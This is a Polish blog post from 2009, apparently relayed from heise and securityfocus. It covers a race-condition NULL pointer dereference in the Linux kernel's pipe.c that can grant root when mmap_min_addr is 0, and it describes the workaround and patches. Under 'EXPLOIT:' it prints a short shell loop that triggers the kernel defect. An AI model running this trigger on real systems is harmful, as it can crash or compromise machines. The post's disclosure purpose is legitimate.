Luka w jądrze Linux pozwala wykonać kod jako administrator.

     Okazuje się, że zawarta w kodzie kernela Linux usterka pozwalająca sprowokować wystąpienie błędu dereferencji wskaźnika pustego może zostać wykorzystana do przejęcia systemowych uprawnień administratora.
Choć na liście mailingowej poświęconej jądru Linux pierwszą oficjalną informację na temat błędu zgłosił 14 października Earl Chew, to prawo do miana znalazcy usterki rości sobie stojący za projektem grsecurity programista Brad Spengler. W wywiadzie dla brytyjskich mediów Spengler powiedział, że przed dwoma tygodniami miał już nawet gotowy exploit. Zresztą jest on również autorem exploitów dla wykrytych wcześniej błędów dereferencji wskaźnika zerowego w jądrze Linux.

Kiedy heise Security skontaktowało się z Bradem Spenglerem, ten oświadczył, że przypuszczalnie jeszcze dziś opublikuje exploit wykorzystujący opisywaną usterkę.
Problem

Zgodnie z wydanym przez programistów komunikatem usterka tkwi w komponencie odpowiedzialnym za obsługę łączy komunikacyjnych w pliku pipe.c i ujawnia się podczas korzystania z funkcji pipe_read_open(), pipe_write_open() i pipe_rdwr_open(). Błąd może wystąpić w przypadku przedwczesnego zainicjowania elementu mutex (mutual exclusion). Mamy tu zatem klasyczną sytuację wyścigu (race condition).
Obejście

Podobnie jak w przypadku wcześniejszych błędów polegających na dereferencji wskaźnika pustego w jądrze Linux, także najnowszą usterkę daje się wykorzystać tylko w sytuacji, gdy systemowa zmienna mmap_min_addr jest ustawiona na 0. Zmienna mmap_min_addr określa najniższy adres wirtualny, na który danemu procesowi wolno mapować. Jeśli jej wartość jest większa niż 0, wówczas nie zadziałają exploity bazujące na dereferencji pustego wskaźnika. Niestety, przestają wtedy działać również niektóre opensource’owe aplikacje, takie jak choćby Wine czy dosemu, więc wielu dystrybutorów (m.in. Red Hat i Debian) ustawia tę wartość domyślnie na 0.
Rozwiązanie

Lukę zamknięto na razie tylko w wydaniu Release Candidate 6 przyszłej edycji oznaczonej numerem 2.6.32.

Red Hat opublikował już uaktualnione pakiety, które eliminują usterkę. Z kolei Debian przygotował specjalny instruktaż ukazujący sposób zmiany wartości zmiennej. W Ubuntu zmienna mmap_min_addr jest ustawiona na 65535, co uniemożliwia działanie exploitów.

EXPLOIT:

while : ; do
{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &
PID=$!
OUT=$(ps -efl | grep ‚sleep 1’ | grep -v grep |
{ read PID REST ; echo $PID; } )
OUT=”${OUT%% *}”
DELAY=$((RANDOM * 1000 / 32768))
usleep $((DELAY * 1000 + RANDOM % 1000 ))
echo n > /proc/$OUT/fd/1 # Trigger defect
done

Źródło: heise-online.pl i securityfocus.com

Komentarz admina:
Większość dystrybucji ma domyślnie ustawione  mmap_min_addr > 0 więc exploit i tak nie zadziała.

Bookmark and Share

czwartek, Listopad 5th, 2009 at 18:52
  • t0m_k
    Lut 25th, 2010 at 21:51 | #1

    W Ubuntu ta zmienna jest domyslnie na 0 ustawiona ;/
    $ sysctl vm.mmap_min_addr
    vm.mmap_min_addr = 0

    Sprawdzalem na 9.04.

Zostaw komentarz